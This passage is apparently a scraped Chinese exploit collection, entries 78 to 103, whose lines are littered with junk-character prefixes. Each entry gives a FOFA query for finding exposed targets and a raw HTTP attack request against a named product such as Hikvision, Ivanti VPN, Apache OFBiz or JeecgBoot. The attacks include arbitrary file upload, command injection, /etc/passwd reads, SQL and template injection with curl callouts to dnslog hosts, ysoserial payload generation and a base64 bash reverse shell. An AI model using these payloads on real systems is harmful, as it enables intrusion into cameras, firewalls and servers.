6 u# `% s1 S  w8 wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
( G, N% G4 h; o# W2 o2 f5 ^* X& H6 dConnection: close
Content-Length: 433
- p8 ]( b% @& _% CAccept: */*
Accept-Encoding: gzip, deflate
3 n( h/ E% K* T1 q% aAccept-Language: zh-CN,zh;q=0.9
! I  X* F6 g# bContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

& z" k! p  {. `! P$ f* R8 B------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

/ n. o5 S% r; F0 w: W) p+ jhello1234567
( w2 v1 g- \0 S6 i4 T------------398jnjVTTlDVXHlE7yYnfwBoix
- P% |, t8 R2 L1 w) J9 ^Content-Disposition: form-data; name="Upload"
* J) ?1 h0 I+ S* S
1 p* D& X9 j2 C5 _+ aSubmit Query
4 k. K! v% e/ N5 C: \------------398jnjVTTlDVXHlE7yYnfwBoix--
- t& y; x1 u2 }2 T+ @/ c
# ?2 h! N% w7 f2 Z5 Y
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
/ V4 w& {9 m- N  Y; z+ c* WPOST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# O! A* W5 Y7 H% N9 \7 TConnection: close
Content-Length: 336
/ {9 \# f+ p! r# w9 G$ H; [, K/ O9 dAccept-Encoding: gzip
7 H" u. P5 @% h# R2 c+ _Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
1 q4 H+ y0 j2 m
------YsOxWxSvj1KyZow1PTsh98fdu6l
& x$ G0 l' O6 `Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
, t0 ]0 j+ z8 [' p' `0 K, o, HContent-Type: image/png

. X9 y' }0 A) z$ \7 q; `4 ]YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
% x* g% @1 U7 G7 X" n( O
/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--
# b! h0 a. k$ X: U5 L% B
7 h( S' S) n, Z: j! o) C. H. _9 {2 O
9 p! H0 H. `7 u% T) ^+ {" f: y6 fGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
* `, c7 k' Y) {+ a& z& a" }& ZHost: x.x.x.x

& v" f" T$ \& T. n* q* ^/ a
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
2 j2 a$ _; e  ~1 OHost:IP
+ h/ I# R" t% @' G, fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
. @! a1 E2 S) Z5 ~# X  NUpgrade-Insecure-Requests: 1


, w( R* |) ]& W. H3 T80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
' ^3 i/ y7 W: {. h$ P5 E( T1 K5 SFOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
+ p( X8 k+ ~4 z( A  A5 U5 X4 @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 o* O0 U" C2 tContent-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 _' w, G4 Z8 d! }1 r# q! HAccept-Encoding: gzip, deflate
* k/ s$ m9 R' w/ O3 ]. z0 }6 v. NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 S. [+ @& N4 m, b, tConnection: close
Content-Type: application/octet-stream
3 _# U; ?, \: g7 ?Upgrade-Insecure-Requests: 1
$ ?/ I; I9 ?! `  W+ d3 f) @
5 l6 ?; l1 D, P( p. R. e<% out.print("oessqeonylzaf");%>

; s! M8 |$ s, g, O0 ~5 R$ s
0 l- r5 O7 A9 X$ h9 f2 J/ g9 ]GET /xykqmfxpoas.jsp HTTP/1.1
: ?9 {! X9 D; u+ p4 QHost: x.x.x.x
) z/ ?/ `% K$ e! F6 E/ VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' A  x1 `) I  a/ ^$ O5 ^4 rConnection: close
$ |. \* T6 @7 o& J, m9 B  mAccept-Encoding: gzip
+ e6 S4 v2 o, P) `% o7 Z+ n
1 d" \. d: r" s, C$ K
* j  X5 V4 P' T  K  Q+ h81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
& Z/ p1 s5 o3 Z) P: a- qHost: x.x.x.x
, G0 T3 q8 ?9 kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

+ v& G0 V+ V$ [. Y. U
1 G; Z. p) \4 e- ]% ^82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
$ A) C( W2 N0 U1 J9 Z3 e3 b7 A9 F$ X$ kPOST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
: o- [; k5 y% n+ s$ a; {. d. sUser-Agent: Go-http-client/1.1
Content-Length: 23
% W  g- C$ [# p: y- A4 MAccept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
% B% Z! u; `0 H! K3 i5 I- V+ [1 qReferer: BaseURL
. z$ K9 N- @* t5 m& @
z1=1&z2="|id;"&z3=bhost

- W% @% q" i- H
83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"


" e/ H+ g+ E# d: a" {" {& yPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
* s0 @6 o1 z. C2 VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, p+ x0 O* G7 y) p9 y- dConnection: close
  `0 `+ h8 I1 R3 WContent-Length: 8881
Accept-Encoding: gzip
8 {; n4 Z; [& W/ CCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json

PAYLOAD
$ k0 ?4 M% B6 B/ i
' H. r  R/ T2 A9 g7 V" b. [0 V84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
7 r0 e8 W+ Z1 j6 W( QFOFA：title=="JeecgBoot 企业级低代码平台"

7 T) X" @+ I2 R

2 i' E, h8 D' J0 i4 p% y$ kPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
! z+ V4 V% @9 Y- r) l& j; A  qUser-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
) `( k8 K6 h, T# JConnection: close
Content-Type: application/json
Accept-Encoding: gzip

3 v9 ^1 r! A4 a- A( R8 e{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}
3 z: ^, H5 x0 V" K! h; |# o

( [' t" J1 _1 z. A; E85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
$ H7 h$ `. J0 d% m. t/ B& R* Z. U- tPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
+ w% U& U8 t; `% ^# e1 K% m. O% U
PAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp
. |" Z+ z. Z% P7 @# Q& y" U. o
86. 日本tosei自助洗衣机RCE
, a4 f" _* R& D0 K- x+ h! SFOFA：body="tosei_login_check.php"
* x( N, ^- ]: V# O8 w! sPOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
. i+ V$ s; i4 q; m. _$ P0 ZUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
Accept: */*
# I  |6 f7 q- f, n6 Y! p7 x' q; D1 U5 m/ M# gAccept-Encoding: gzip
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

9 k# e. k0 {7 `4 dhost=%0acat${IFS}/etc/passwd%0a&command=ping

! d8 n9 j+ N& v1 |/ n1 s; w7 b
; }3 z. Y  \% {4 G" v87. 安恒明御安全网关aaa_local_web_preview文件上传
' G! ^  }# `# o+ s4 Y. bFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
5 o# a4 y  }7 Y# A3 [: n( NHost: X.X.X.X
8 m/ g4 T4 d# |  l4 c" N( g( GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
) f* U2 P' H) l3 r. Y$ U6 ]Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
- r0 p+ @- N9 A
( n# y, c. E8 d  B" m/ V--qqobiandqgawlxodfiisporjwravxtvd
/ i+ i0 ^" K0 l% U. A$ t: cContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
6 q: Q' D$ X1 Y
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
! u  X) X- _# U& P# Z$ U9 s. ^5 d8 R' h--qqobiandqgawlxodfiisporjwravxtvd--


! h& z) A, t* C2 Q& R0 T$ x" h/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
1 I) A4 j2 \+ y$ I- l% {5 yFOFA：title="明御安全网关"
+ F7 \5 o+ K# ]GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
' s9 k) L; C( AHost: x.x.x.xx.x.x.x
! v/ Z1 C. G! P$ ^% B1 LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 t) F- ?0 V' p! _! B( PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
$ b9 h8 e: k3 KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% r7 ~% k' M! g( v" B0 c" DConnection: close


/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
  Z; R9 x3 F1 ]' U+ rFOFA：title="FE协作办公平台" || body="li_plugins_download"
8 O4 Y9 X% I2 [5 q" K; Q1 z. ?POST /sysform/003/editflow_manager.js%70 HTTP/1.1
+ [, s0 _0 `! j! h9 qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& _( A: [- Y& S( rConnection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

% Z# F6 e6 s- Zoption=2&GUID=-1'+union+select+111*222--+


$ Z5 K% j9 {7 P. ]0 M9 I90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
5 z* _+ W$ `2 \: W7 b" eFOFA：icon_hash="-1830859634"
8 L; r- p( B& {" O- N" Y3 cPOST /php/ping.php HTTP/1.1
% W0 s; a+ M  j( x* |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
" i0 H  I$ R# @; L/ ^Accept-Encoding: gzip, deflate
. s1 \; _) `! x8 ^& }& }/ GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 n! o$ e: j6 [& I- M' rConnection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
3 l, f& W" a9 p8 S. ~( l3 Y
- D8 X. k* s% C# q5 L, u  m9 M2 Xjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
" O4 n$ ^3 Y# \) r5 I1 {% }

5 @/ x9 x! [1 X4 |7 b* Y91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
; d' a: s$ L3 K9 pFOFA：title="综合安防管理平台"
( {' |2 [. y* lGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
1 n* Y" i, Z/ U0 ~5 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
5 K" ?. z: U5 D5 [Accept-Encoding: gzip, deflate
! M+ a! F! v* z. Y4 ^Accept: */*
% W7 @( E* Q- E+ C* g6 U3 h9 P+ xConnection: keep-alive


" j; J1 y$ J9 @5 B
5 o% \2 H$ G. V92. 海康威视运行管理中心session命令执行
Fastjson命令执行
/ ~  h; s: z8 Qhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
1 l' Q/ a6 h7 Y+ [POST /center/api/session HTTP/1.1
Host:
; o/ ^1 H1 e7 q/ TAccept: application/json, text/plain, */*
# t6 B4 V* U6 [, LAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
6 f, }9 e6 B" j+ g: M6 eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
7 [( C  g5 _8 MContent-Length: 5778

PAYLOAD


% H" r+ S6 P7 g3 @& F93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
1 P/ n" V0 Z" Q- V5 r5 kHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
* C5 A1 |2 A: d9 c4 h, H! J# LUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 f  f+ W3 R  U. N1 D  w
------WebKitFormBoundarykcbkgdfx
- M2 B: U; U. ]1 M% @Content-Disposition: form-data; name="MAX_FILE_SIZE"

) V8 X  Q0 ?6 p6 E. F10000000
------WebKitFormBoundarykcbkgdfx
* k) P# I& O% `, j6 L% P' mContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

. j8 \! P5 u; L( n0 [wagletqrkwrddkthtulxsqrphulnknxa
+ g* H  o0 K6 g------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
! j  _# H/ P& Y( O9 K+ u- C& D* W" L
' u3 {3 D6 Q# r- @' N% T% robj_app_upfile
* \3 {) @+ P* T9 e' D& X------WebKitFormBoundarykcbkgdfx
7 l1 [6 C1 _. a5 E( {/ qContent-Disposition: form-data; name="__hash__"
3 S0 m6 B2 q$ m
0b9d6b1ab7479ab69d9f71b05e0e9445
& c1 t* [. e( H  ^+ d2 e------WebKitFormBoundarykcbkgdfx--
# V# V/ e  {0 z: `& z
, M% ?  Z2 k$ h  g# R, u4 `4 ]3 ]
GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
. E/ g. W& i. ^: d2 |9 eContent-Disposition: form-data; name="MAX_FILE_SIZE"
2 l2 W$ m* g2 x3 h
10000000
------WebKitFormBoundarybqvzqvmt
1 y, w* J& ?% kContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

0 H4 h# H' _* r: h4 k! M, [pxplitttsrjnyoafavcajwkvhxindhmu
  G$ r9 r2 x6 m5 [5 J. P------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
+ }% @$ D  `7 ~- _! Y0 k
obj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
5 p4 T3 I& C* N1 @
8 Q( @% T" w! D. [1 M0b9d6b1ab7479ab69d9f71b05e0e9445
& ]! d% z5 r. ]. l------WebKitFormBoundarybqvzqvmt--
3 \. ?% z: i7 D; r' @7 B1 b

6 D; _  o4 C9 ^
3 `+ X/ J3 H% R% D$ TGET /attachements/xlskxknxa.txt HTTP/1.1
7 }, S1 z4 Y1 q+ Y) ]* }Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
# R6 j$ Z  z. \( V# J) P
$ W5 h" I- K9 R5 q( k% |
2 ]( H% X4 d9 y8 e4 V4 u, w% g  E
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
3 f. m9 }$ t' y2 b- l" v' Z8 }% v% c" cCVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
5 P! }- @  [, Z% @Content-Type: application/xml
; Y9 k8 E  H5 D$ sAccept-Encoding: gzip
1 q! p5 M& o6 T: D+ d
& R  [4 n: r% F. U" z<?xml version="1.0"?>
<methodCall>
$ @( E2 }, C, b; R% Y, j+ B0 |   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
9 A  n- L7 ]( ]& U6 D    <params>
      <param>
      <value>
! G: ^. F0 R- ~7 X, p        <struct>
       <member>
          <name>test</name>
( j1 @% Y5 z3 V  s          <value>
6 y5 I% ^$ I9 T; @' ^      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
      </struct>
      </value>
( L3 }, e2 \' i$ r0 b2 H    </param>
    </params>
0 Q8 {5 W' V% U5 P% s+ ~</methodCall>


. h& \' K4 d# j* w用ysoserial生成payload
1 \- d" t! B4 M7 D* [' f7 g* vjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
# x) e" y5 L% I' q, x+ r' D% THost: 192.168.40.130:8443
8 }" O4 N3 Z0 MUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

; P: M) e! z( a  `. O5 bPAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
$ ~) i3 \, x- l& g. pHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
8 y  s1 ~: q7 |8 t1 e( \Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) u/ F) _  x5 e9 v/ B. B4 i% Q6 XContent-Type: application/x-www-form-urlencoded
  A5 z% `$ [: `( w; LContent-Length: 55

3 R+ f1 V1 s: x" E4 \2 G9 z; m4 @0 qgroovyProgram=throw+new+Exception('id'.execute().text);
- i8 \& v1 X0 j  A: H
1 e3 _* B9 P( N) j& a
反弹shell
在kali上启动一个监听
nc -lvp 7777
7 b! y/ [4 Q; ]& ~( A, v0 t
2 T( z1 i  Z( q3 `POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
, X9 h" w2 [6 J2 A! THost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
. J  x# g1 t. v' C2 [8 F3 M9 bAccept: */*
# R3 w- {1 P" I# q$ aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 P1 ^2 A8 P5 X% d. nContent-Type: application/x-www-form-urlencoded
Content-Length: 71

! h# Y# B- s! x' EgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
$ J3 o3 d6 K: g) M( a
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
" P! o# P9 H, b* P- C) t! QFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
" n7 [1 M# i6 x" z+ [  S" ?1 d+ NGET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

% P) q5 S" t- t0 v8 e, y
98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
( A8 w& W$ v) N2 jFOFA：app="SpiderFlow"
7 W- ]4 y3 n! yPOST /function/save HTTP/1.1
7 z: x9 m- o8 y( h( x: ~Host: 192.168.40.130:8088
4 M) G7 S3 E+ Y/ D4 o# yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+ i/ p- D* Z/ E0 a! QConnection: close
! m1 `- b, G; M; h! k, c, {Content-Length: 121
* }  N& E% X9 c9 gAccept: */*
" ?  D* ^! _$ r9 GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
! Y6 T: D$ x+ k( KX-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

: A$ x" q9 b. H" W9 E: W
99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
8 b. e1 a0 t  V, t8 Y* H: @7 KHost: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
( s7 t4 ]' ^# q  UContent-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
; F! S, O8 Q) K& R/ k# N  ^3 QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! e" u5 l8 O- e' w& Y% qContent-Type: application/x-www-form-urlencoded; charset=UTF-8
8 y" G+ v* L. H+ pX-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D

% z" s  M, j  L$ M, P
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
+ S) p) {8 M% y/ P% qFOFA：icon_hash="874152924"
+ }/ a! p8 v* jPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
0 Y1 K, Y& m+ v  N! X* TUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
; j9 O7 h! {7 s5 V# fConnection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip
* N) K1 P- l2 k9 V/ U: I
/ y0 {% d% z$ M0 ?+ \5 s1 s------WebKitFormBoundarygcflwtei
9 G0 ^  V1 t5 ~" k2 VContent-Disposition: form-data; name="file";filename="IE4MGP.php"
: l6 Z. h- A0 S9 m, g7 [Content-Type: application/x-php

8 `* n2 A4 N, Z/ [2ayyhRXiAsKXL8olvF5s4qqyI2O
' Q+ [6 F5 {' V# D------WebKitFormBoundarygcflwtei--
: m/ x  q& x+ ]/ ?
" t; B, @, V# z6 I  s
101. ivanti policy secure-22.6命令注入
% ]9 n- q  i) \3 D6 iCVE-2024-21887
) k$ b9 L4 G6 q& C1 ]FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
' ?; z- M" y. u+ cUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
% ~% L( `- I8 W. t. t, V3 H; XAccept-Encoding: gzip

2 t% L& S0 `- f8 w0 v: {+ g# q
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
+ h. i% P0 k0 L4 C: j& VPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
1 @5 Q8 G* N  y2 ^9 l- N% p+ T! aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
7 q% }3 ~9 o  E' l" ZConnection: close
6 \- j) W6 p1 \8 B# ^) W* OContent-Length: 792
Accept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
4 A; C- k( a3 m: b
103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
5 f1 x+ j2 G3 [2 L' M0 z% }POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
